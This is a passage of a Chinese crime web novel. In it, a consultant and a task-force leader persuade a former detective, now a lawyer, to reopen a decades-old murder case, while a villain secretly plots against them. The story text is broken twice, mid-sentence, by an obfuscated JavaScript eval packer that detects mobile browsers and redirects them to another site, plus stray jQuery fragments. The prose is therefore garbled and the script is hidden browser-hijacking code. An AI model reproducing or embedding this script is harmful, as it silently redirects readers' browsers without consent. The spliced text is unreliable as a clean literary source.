于是,赶在谢临渊放下茶杯之前,原安微微侧身,抢先开口道:“谢律师,诚如你所言,若我们只着眼于二十五年前沈翔和原婉的案子,那确实困难重重、回天乏术。” “但如果,沈翔和原婉的谋杀案,并非一个独立的罪行,而是一系列连环谋杀案的起点呢?” 原安说着,微微倾身,清冷的目光直视谢临渊,语气中不自觉带上了明显的对沈澈的维护:“方才沈组长说了,他此次前来的身份,是远洲集□□列特大犯罪专案组组长,既然是系列特大犯罪,便不仅仅只限于吴门公馆一起案件。” “根据我们目前所掌握到的线索,这场跨越了二十五年的连续的、持续性系列犯罪中,至少包括二十五年前沈翔原婉自杀案、二十年前调查小组四位刑警意外死亡案、一年前发生在望海市的三起高纯石英材料领域系列非正常死亡事件,以及这二十年间尚未被发现的、如当年那四位警察一样、以巧妙手法伪装成意外的大量非正常死亡事件。” 这话中蕴含的信息量实在太过庞大又太过沉重。 谢临渊几乎本能地坐直了身体,将茶杯搁置在了一旁的小几上。 他微微偏头,第一次认真地打量原安。 而后他微微挑眉,心底莫名升起了一种找到同类的错觉。 这可真是个相当稀奇的体验。 “你是谁?”谢临渊盯着原安,认真开口,“方才的话又是什么意思?” “我是前望海市局刑侦支队特别顾问,原安。现阶段,同沈组长合作,协助他侦破远洲集□□列特大犯罪专案。” 原安简单做了自我介绍后,就直接切入正题。 “一年前,在望海,某项高纯石英材料领域的新技术相关专利进入公示期后,短短两周内,接连发生了3起与之相关的科技公司高管与资深技术专家的非正常死亡事件,巧的是,这三位死者分别死于入室抢劫、意外坠崖以及突发心梗,事故现场无论是办案刑警还是法医痕检,都倾向于事故意外。” “我对比了下这三起意外与二十多年前林薇薇、赵建国和王秀梅的相关资料,其中凶手掩盖罪证的手法,存在着高度相似性,但,二十五年后望海市发生的那三起‘意外’,明显手法老练,现场几乎天衣无缝。”说到这里,原安刻意顿了顿,她看着谢临渊,道,“谢律师,你曾经是屏江市局最优秀的刑警,你应该知道这意味着什么?” “他们的手法升级了。”谢临渊言简意赅,“这二十五年间,这帮孙子只怕没少练习。” 他说这话的时候,面色凝重,握住茶杯的手指明显捏紧了, 原安自然将他的反应尽收眼底。 看来她的直觉是对的。 这个谢临渊还是一如既往。 就算外表伪装得如何虚伪不屑、愤世嫉俗,他的内心深处依然住着二十五年前那个渴望纯粹正义的理想主义。 于是原安点头,抓住这个弱点,发起强攻:“对。而最要命的是,这个凶手——或者说现在应该已经发展成一个犯罪组织了——至今逍遥法外,他们还会不断练习、继续升级,直至我们找不到任何破绽、成为完美犯罪的那一天。” 原安话说完,谢临渊突然笑了。 他看她的目光变得非常玩味,唇角勾起的笑容里,甚至带上了一丝邪气。 “所以呢,原顾问,你说的这些,同我又有什么关系呢?” 23. 第 23 章 原安闻言一愣。 谢临渊这个反应,明显出乎了她的意料。 难道,她对他的侧写出错了? 谢临渊在经历了理想崩塌、组员死亡、离职转行等等一系列事件之后,已经彻底放弃了曾经对于正义的执着了? 不应该啊。 原安抬头,直直迎上谢临渊的目光。 她明明看到,那双伤痕累累却依旧孤傲疏离的凤眼中,跳动着不甘的怒火和被理智强行冰封的痛苦呀。 许是她疑惑的眼神着实太过明显,谢临渊也没忍住开始反思自己是不是有点儿把门槛一下子抬得太高了。 毕竟,今天还只是他们的初次见面,毕竟,他们之前素不相识,毕竟,这个小姑娘看起来不过二十多岁。 这个年纪,这个场景,能够想到用系列犯罪来破局,已经算是很有智慧了。 想到这里,谢临渊撇撇嘴,轻轻咳嗽一声,非常傲娇委婉地给出了提示。 “原顾问,我承认你确实很聪明,你跳出了你那废物组长的既定框架,将话题从‘求我帮忙翻旧案’,提升到‘邀我联手去阻止一个已经成型的犯罪组织的持续作恶’这个层面上。你这样做,无非是想用正义和责任,对我进行道德绑架。” “确实啊,如果现在坐在你对面的,是二十五年前的我,这绝对是一个我无法拒绝、并且愿意为其粉身碎骨的理由。” 谢临渊说到这里,顿了顿,他看向原安,目光中带上了一种看同类的欣赏和审视。 “但是小姑娘,我现在已经不是警察了。我没有义务去践行你们的正义。追查凶手、预防犯罪,那是你们家沈组长的法定职责。至于他最后能做到什么程度,能不能护住组员,能不能坚持本心,是抗住压力走到最后,还是半途而废,贯彻他们沈家的优良传统。那些都与我无关。” “我现在只是律师。在律师的世界里,正义从来都不是首选。我们讲风险,讲契约,讲利益,讲证据,讲权责边界,以目标导向。这些和警方所讲究的程序正义并不相容,但这,才是我的规则和日常。” 此话虽然说得委婉,但原安一下子就听明白了。 不但原安明白了,就连沈澈也听明白了。 谢临渊自始至终并没有在拒绝,他只是在评估,只是在向他们表明自己的规则和底线。 这是典型的律师思维。在投入任何合作之前,先冷静地划分权责边界,评估风险与收益,然后在此基础上,决定是否继续合作。 所以,他这是在用他现在的身份和语言,同他们进行对话。 同时,他的这种谨慎评估的态度,某种程度上,也代表了他确实存在着合作的意愿。 如此一来,问题就简单多了。 谢临渊已经摆出了他所有的顾虑、底线和规则,那么他们只要依次拆解,逐个评估就可以了。 首先,避无可比的,是他对于沈家积攒了二十五年的怨气和极度的不信任。 二十五年前,以谢临渊为主的调查小组,因为沈家的放弃,被迫违背本心,以荒谬结论结案,并为此付出了惨痛的代价。而二十五年后,另一个沈家人找上门来,和他说要重查旧案,要还逝者一个公道。他必须知道,沈澈的这次追查,究竟是真心实意,还是虚张声势,究竟是会坚持到底,还是和二十五年前一样半途而废。 这是最关键的一点,直接决定他是否赌上自己的资源和性命,去接受这场合作。 其次,作为曾经调查小组唯一存活至今的组长,从他单独开辟一部必须刷门禁卡才能激活的电梯、以及单独开辟一层独立的办公楼层等等行为来看,这二十多年,他遭受的来自暗处的威胁,绝对不在少数。 而这次出现在他面前的三个人——一个出生名门、深浅未知、年级轻轻就已经出任系列特大犯罪的专案组组长,一个看上去似乎技能点全部都点在脑子上、弱不禁风的前警方特别顾问,还有一个看上去就乳臭未干的清澈愚蠢大学生——这样一个看上去就极度不靠谱的组合,是否真的有足够的实力去对抗那个能够持续犯案二十余年、悄无声息地让警察都能被意外的犯罪组织? 最后,诚如他自己所言,他早已经不是警察,而是律师。作为常年游走在灰色地带的律师,他早已经习惯了律师的处事手段。他擅长打破僵局,但同时定然带来混乱。他的手段必然激进,他的风格必然危险。这与警方所追求的程序正义,必然形成激烈冲突。 那么,出身体制内、代表正统权威的专案组,真的能够做到全盘接纳?真的能够承担和他合作的后果吗? 想明白这些后,原安和沈澈心中只剩下由衷的敬佩。 谢临渊轻描淡写间带出的这三层试探,确确实实,是他们之前从未考虑的范畴。 由此可见,此人确实心思深沉,阅历丰厚,老辣沉稳。 那么,他们能够满足他的要求吗?他们能够给出承诺吗? 原安垂下眼。 她思忖片刻,最终还是转过头,以眼神征询沈澈的意见。 毕竟,他才是专案组组长。就算他此时此刻受困沈家人的身份,不便开口,但到底他才是那个有资格给出承诺、并需要为此承担后果的人。 然后,她就看到了,沈澈对着她微微点了点头。 他的意思很明显。 他全然明白谢临渊的顾虑,也绝对相信原安的能力。他愿意放手,让她勇敢去做,因为他相信,无论她替他承诺什么、决定什么,他都有能力、并且有实力为她兜底。 这种全盘的信任与托付,让原安莫名心头泛暖。 她心中安定,收回视线,转过身,重新看向谢临渊,调整了策略。 “谢律师,我非常能理解你的感受。二十五年前,你因为践行正义,失去了你的组员,二十五年后,我也因为同样的理由,失去了我的母亲和……” 原安说到这里,话音戛然而止。 她微微瞪大了双眼,几乎是不受控制地抬手捂住了自己的嘴。 她的脸色瞬间煞白,另一只搭在沙发上的手,不受控制地掐进沙发皮套,指节绷紧,泛出青白色。 沈澈一看她的反应,瞬间就知道她这是因为想到了顾巍,所以大脑自动开启自我保护机制。 他几乎第一时间就想要起身干预,彻底接手接下来同谢临渊的谈判。 但他只来得及做了个起身的前倾动作,原安那一头已经先一步放下了手,压下了所有失态。 这个过程相当之快,快到完全不符合创伤心理学上的应激恢复。 沈澈不禁有些震惊。 他仔细观察原安的状态,便见她除了脸色煞白、眼神空洞、手指掐住沙发皮套直至指节发白外,看起来,几乎和平时完全没有区别。 她甚至还快速而用力地眨了几下眼,靠着自己残存的理性和意志,让视线重新聚焦。 沈澈狠狠皱紧了眉。 他觉得原安简直太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571099|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱来了。 大概在一个约莫两三秒、完全真空的沉默之后,原安像是终于挣脱了一场短暂的梦魇,强行重新回到了现实。 她略微垂下头,稍微平复了下自己的呼吸,再次抬起眼时,里面所有的脆弱都已褪去,只剩下一种近乎残忍的清醒和坚定。 “谢律师,”她缓慢开口,声音虽然已经恢复平稳,但听起来却像极了绷紧的弓,“我不是在劝你去践行所谓的正义,我只是希望同你一起弥补曾经的遗憾。” 谢临渊愣住了。 原安的话简直精准地刺入了他内心最柔软的部分。 原安续道:“二十五年前的你,由于种种不得已,被迫写下荒谬到极点的结案报告;二十年前的你,眼睁睁看着曾经并肩作战的战友,依次惨死,却无力阻止。二十年间,你应该看了不下一遍那些调查报告吧?” “那么,当你看着官方用一出出漏洞百出的玩笑,将你为数不多的挚友的死亡定性成意外,而非因公殉职的时候,你是什么感觉?你难道不愤怒,不遗憾,不想要为他们讨一个公道?” 谢临渊明显被她的话激出了些许血性,他咬了咬后槽牙,看着原安,疏离眸中那些被理智强行冰封的痛苦,逐渐有了破冰而出的迹象。 于是原安乘胜追击,给他致命一刀。 “你应该是想的吧,”原安道,“你应该很想,做梦都在想。可是你不能,因为你不是警察了,因为这一切都已经盖棺定论、尘埃落定了。作为一个律师,你或许能为许多无辜者去求一个正义,可是偏偏那些你最在乎、最亲近的挚友的公道,你追不回、讨不了,你甚至连罪魁祸首是谁都不知道。” “是啊,你现在是律师了,可以合理甚至合法地去用警察都用不了的那些手段,你甚至可以去求一个结果正义。但那又怎么样呢?二十年了,你拔剑四顾心茫然。” “呵,说得好像你们知道凶手谁一样。”痛苦终于破冰,谢临渊反唇相讥。 “那可真是不巧了,”原安柔柔扯开一个笑容,“我们还真的知道凶手是谁。” 谢临渊果然一秒上钩,他瞪大了眼睛,几乎要脱口而出。 但很快他就又恢复了理智。 “不对,你们不可能知道。”谢临渊摇头道,“你们如果真的知道,便不会来这里,寻求我的帮助了。” “谢律师,我们是警察。你最该知道,警察追求的,从来不是结果正义,而是程序正义。”原安道,“实话告诉你,我妈妈是当年吴门公馆案唯一的目击者。她去世前,给我留了一本日记本,里头详细地记录了当年沈翔原婉案的始末、凶手、犯罪动机以及犯案过程。” “我妈妈一生执着于为沈翔原婉讨要公道,甚至不惜赔上自己的性命。”说到这里,原安不由悲从心来,“她隐忍复仇二十五年,最终功亏一篑,死后还被泼上了绑架案嫌疑人的污名。” “所以,我现在选择和沈组长合作。”原安将话题扯回主线,“不仅仅是因为我相信他的为人,更因为我想要一个官方身份和资源,去替我妈妈、替沈翔和原婉以及这二十五年间那许多被意外的无辜人,求一场程序正义和实质正义。” 谢临渊眯了眯眼:“你妈妈是林心楠?” 原安一愣。 为什么谢临渊会认识林心楠? 为什么谢临渊会记得林心楠? 电石火光之间,一个最符合常理、却又最不符合规则的猜想出现在了原安的脑海中。 24. 第 24 章 “我妈妈当年找过你,对吗?” 原安直直盯着谢临渊,虽是疑问的话语,却是肯定的语气。 “当年吴门公馆,她从沈翔的308号房间逃出来之后,曾经找到你们,向你们提供了完整的口供。” “那么为什么调查报告里没有她的痕迹?”原安不禁提高了音调,“她就是目击证人,你们为什么还能那样结案?” “因为她的证词是孤证,”谢临渊难得软了声音,同原安耐心解释道,“在没有同其他证据形成完整的证据链条的情况下,根本不可能作为定罪顾琳的铁证。” 然后原安就懂了。 这份证词如果没办法一击即中,彻底钉死顾琳,那么这份证词就会成为林心楠的催命符,一旦警方记录在案,或者正式传唤作为证人的林心楠,顾家绝对会不惜一切代价让她“被精神病”或者彻底消失。 原安垂了眼。 一股无力悲凉的感觉,仿佛一瞬间跨越了时光洪流,狠狠打在了她的心头。 她突然就明白了,为什么后来林心楠的方式会那样极端、那样不折手段。 因为二十五年前,她在屏江市局里,亲眼目睹了像谢临渊这样正直纯粹的警察,在绝对的现实面前,被碾压到无能为力直到被迫妥协。这让她无比深刻地清醒意识到,想要倚靠现有体系,求个公道,几乎是天方夜谭。 而想要为沈翔和原婉翻案,必须需要铁证。 而想要取得铁证,就只能闯龙潭,入虎穴,以身饲虎,与虎谋皮。 所以,林心楠才会走了那一步。 所以,林心楠才会生下了她。 所以,林心楠对她的爱才会又深刻又肤浅。 因为,她根本就只是这场命案后续无数阴谋之中的一个意外而已。 原安难过得红了眼眶。 她闭上了眼,彻底掩住了眼底的情绪。 许久,原安终于稍微平复了些许情绪,她重新睁开眼,看向谢临渊,平静道:“谢律师,谢谢你当年帮我妈妈抹去了所有痕迹,最大限度地保护了她的人身安全。不然,她后来的路,只怕会走得更难。” 谢临渊摇了摇头:“你不用谢我。这个决定不是我一个人做下的,这个保护也不是我一个人能完成的。整个调查小组,不,整个屏江市局都参与其中。” 原安微微瞪大了眼。 这话的分量可真是太重了。 “你不用这么看着我,”谢临渊对原安继续道,“我们当年这么做,不全是大义。顾家欺人太甚,简直践踏法律尊严和警察荣誉。我们只是想着,只要护下林心楠这颗仅剩的火种,早晚有一天,真相能够重见天日。” “谁想到,五年不到,整个调查小组散的散,死的死。”说到这里,谢临渊苦笑了一下,自嘲道,“还翻案呢,这案子到现在估计都没人记得了吧。” “我记得,沈澈记得,你也记得,”原安诚恳道,“所以,我们来了,我们会让真相大白的。” 谢临渊深深看她一眼,透过那双与林心楠几乎一模一样的杏眼里,他仿佛又看到了二十五年前坐在他对面那个坚韧刚烈的女人。 喉结滚动,沉默半晌,谢临渊最终咬了咬后槽牙,还是开口道:“但我希望你不要记得。” 原安:“?” “我知道这么说很自私,但,一个林心楠已经是极限了。”谢临渊皱眉道,“我不知道她是出于什么想法,竟然会把你这样一个局外人,也扯进这些上一辈的恩怨里。但我希望,你不要继续往下查了。” “真相也好,翻案也好,正义也好,那是你家沈组长该操心的事。你一个小姑娘,平安过日子,才是最要紧的。” “可是似乎不行了呢。”原安扯开一个有些悲凉的笑容,“因为他们下一个目标,就是我。” “什么?”谢临渊瞪大双眼,无比震惊。 “所以,我妈妈才会给我留下了日记本,才会把这些陈年旧事全部告诉我。她要求我知晓所有的来龙去脉,因为只有这样,我才能够保护自己,不坐以待毙。” 这下轮到谢临渊沉默了。 他身体前倾,抬手给自己倒了一杯茶,而后送到嘴边,小口啜饮。 直至茶杯见底,权衡落定,谢临渊才长长叹了口气,自暴自弃式地将当年的所有事情,和盘托出。 “真要说起来,沈翔和原婉的案子,真的是这么多年以来,我办过的最离谱的案子,没有之一。” 谢临渊靠向沙发椅背,目光难得有些缥缈:“当年这个案子一出,舆论哗然,市局承受着空前的压力,调查小组迅速成立,上级给予了我们极大的权限和充分的支持。加上林心楠这个目击证人第一时间找到了我们,提供了非常明确的调查方向。可以说,这案子初期进展得非常的顺利。” “直到,沈家突然放弃,抽身离开,不再配合。” 谢临渊说到这里,目光沉沉,缓缓落在坐在对面的沈澈身上。 “直到现在,我都还是不能理解,令尊当年脑子是突然抽了什么风啊。明明形势一片大好,案情逐渐明晰,证据逐步完善,结果你们沈家,却在这么个关键的时候,激流勇退,拒绝配合,甚至以‘入土为安’、‘保留全尸’这类冠冕堂皇的借口,强烈阻挠我们对沈翔的尸体进行系统解剖。” 沈澈垂下眼,抿了抿唇,别开了视线。 他当然知道当年他们沈家最终选择放弃深究的真实原因,但这种涉及家族秘辛的事情,他实在不便与外人谈论。 好在谢临渊也没有真的想要知道。 他见沈澈拒绝回答,也没有勉强,只是点出关键:“沈组长应该很清楚,在刑事案件中,家属的意愿虽然不能阻止侦查,但完全可以成为‘证据链存在无法弥补的缺陷’的最强理由。” “那之后,所有的局面,急转直下。” “因为失去了来自晋阳沈氏这种大家族的持续关注和上层压力,这起案子,就从一个必须限期侦破的要案,快速降级成了一件普通命案。而沈家的撤出,同时也给了顾家搞小动作的空间。” “顾家本就是南边经济巨头,他旗下的那些个报社大肆刊登‘高校教授玩弄女性致其死亡’、‘名门之后公馆酗酒自焚’诸如此类博人眼球的新闻,先行引导舆论,让公众对沈翔和原婉的案子有了先入为主的印象。而他们家那个王牌律师团队,则以‘保护公民隐私’和‘避免不实报道损害集团声誉’为由,三天两头对办案程序提出各种合法性质疑,频繁申请复议,极大地拖延了调查节奏。” 说到这里,谢临渊不由叹气。 二十多年过去,当年的义愤填膺,如今再次提起,也只剩下了被时间磋磨后的无力与无奈。 “而证据链,哎,”谢临渊说到这里,又没忍住叹了口气,“当年吴门公馆为了附庸风雅,馆内景物,大多走的是古典园林风,所有建筑采用木质结构,一把大火,就把所有物证烧了个干干净净。原婉的尸体在白鹭江中浸泡多日,死亡时间成谜。而唯一尚且能够挖掘的沈翔的尸体,也因为家属的拒绝而无法充分利用。” “于是这个案子,查到第六天,就从王炸开局变成了天崩绝境。一边是证据链的致命缺失,一边是顾家律师团队无休止的程序拖延和舆论攻击,中间还夹杂着各种媒体小报编造的各种博人眼球却堪称完美的动机。”谢临渊道,“最终,上级经过讨论,启用了那个离谱到家的结论,强制结案。” 说完这一切,谢临渊长长吐了一口气。 这些话这些事,在他心头默默压了二十五年,如今一次性全部说出,他竟然久违地感觉到了一种诡异的轻松。 而后,便是无尽的空虚,和深深的疲惫。 他靠在沙发上,放空了片刻,最后对着原安和沈澈摆了摆手,淡淡道:“行了,这就是当年的全部事情了。” “你们今天来这儿的目的,也算达成了。走吧。” 原安抿了抿唇。 其实,他们此行的目的,并不仅仅是想要从谢临渊口中得知当年的情况。 更重要的是,他们希望邀请他加入专案组,以特别顾问的身份,一并侦破当年的未竟之案。 但,很显然,此时此刻,此情此景,真的不适合再提这事。 原安和沈澈对视一眼,还是默默起身,走出了谢临渊的办公室。 谢临渊一路带着他们走到电梯厅,用自己的门禁卡激活了电梯,而后,一路送他们下到一楼。 出电梯的时候,原安刻意落下一步。她拉过自己的随身小包,从中掏出了一张名片。 “谢律师,非常感谢您今天的坦诚,这让我们对当年的情况有了全新的认识。”原安双手递上名片,目光沉静而诚恳,“若是之后,你有什么新的想法,或者是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571100|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了什么新的细节,欢迎随时联系我。我很希望能有机会再向您请教。” 谢临渊看着原安,挑了挑眉。 两人面对面站在电梯里,四目相对,眼神交汇。 最后,还是谢临渊选择了妥协。 他笑了一下,直直看着原安,右手抬起,食指和中指并拢,非常不甘心地从原安手里抽走了名片。 而后,他仿佛觉得还有些不解气,冷哼一声,夹着名片,对着原安额头的位置,隔空点了两下。 “你还真是得寸进尺呢,小姑娘。”谢临渊给出评价。 “那也不是对所有人都这样啊。”原安软软一笑,语气乖巧,“还得是谢律师您宽宏大量,不会跟我这种小女子计较,所以我才敢得寸进一点点……尺。” 原安说着,用拇指和食指微微比了个小小距离。 这幅刻意卖乖却不做作的狡黠模样,还是成功把谢临渊逗笑了。 “行了,”谢临渊没好气挥挥手,“滚吧。” “好嘞~” 原安见好就收果断滚出电梯,滚回了沈澈身边。 于是,三人一道慢慢走出写字楼,走向停车场。 在他们没有注意到角落里,一个身穿蓝色条纹西装的白领缓缓走出写字楼外墙阴影。 男人高大魁梧,却文质彬彬。他的鼻梁上架着一副黑框眼镜,年纪轻轻却透着一股阴狠。 他跟在原安和沈澈身后,走了很长一段距离。他装作打视频电话的模样,拿着手机,调整焦距,对着远处走向停车场的三人背影,快速按下了快门。 随后,他靠在停车场出口附近的一根柱子旁,点开微信,调出最上边对话框,将照片发了出去。 很快,他的电话就响了起来。 男人看到熟悉的来电显示,无比邪气地笑了一下。 他心情极好地对着来电显示上的备注吹了个口哨,而后才悠悠闲闲地接起了电话。 “怎么啦,主~人~”男人语调上扬,带着一丝调笑、甚至是调情的味道,开口问道,“许久没见你的小情敌,这么激动?” “原安身边的男人,是沈澈?”电话那头响起一道冰冷的女声,仔细听,这话中似乎还带着一丝难以置信,“顾巍才死多久,她这么快就和新的男人滚到了一起?” 这话说到最后,就变成了一句咬牙切齿的不值。 男人听着却是噗嗤一声笑了出来:“这有什么奇怪的?搞文艺的嘛,总得需要有个金主爸爸在背后砸钱捧她,当年顾巍不也……” “不也什么?”对面的女声骤然冷了下来,“费流云,我最后再警告你一次,不论怎样,顾巍都是你的少主人,你嘴巴给我放干净点。” 费流云挑挑眉,不置可否:“那现在,主人,你是想要怎么处理这对狗男女?我给他们来场意外怎么样?” “意什么外,那可是沈澈!”女声喝道,“沈翮的独子,威廉公爵的亲外孙,不到非常时刻,不许动他!” “哦~不能死啊,”费流云明显有些失望,随即他像是想到什么似的,再次兴奋道,“那要不我黑进他电脑,或者潜入瑨兰酒店,给你搞几张床照怎么样?” “……”电话那一头的沉默,震耳欲聋。 但费流云显然没注意到女人的无语,反而沉浸在自己的世界里,越说越兴奋:“沈澈不是警察吗?既然不能死,那就让他身败名裂,引咎辞职,这可比死难受多啦~~” 这话倒是给对面女人提供了新的思路。 女人沉默片刻,打断了费流云的自言自语。 “费流云,我没记错的话,原安这一趟出行,是由沈澈全权负责的对吧?” “是的呢~主人。” “你说,如果原安死在了屏江,沈澈是不是要负全责啊?”电话那头的冰冷女声逐渐变得如蛇般阴毒,“如果这其中再和谢临渊扯上关系的话……” 费流云捧着电话,嘴角缓慢扯开一个满意的弧度。 就在这时,沈澈的丰田汉兰达碾过缓坡路面,不疾不徐地驶过他身旁,带起的阵风扬起了费流云额前的碎发。 一道并不显眼却轮廓清晰的旧疤,在他右眼眉骨上方赫然显现。 这正是半个月前,那个在原安别墅花房外、被沈澈抓获的、来送信的男孩所描述的,关于雇佣他跑腿的黑衣男人的唯一的外貌特征。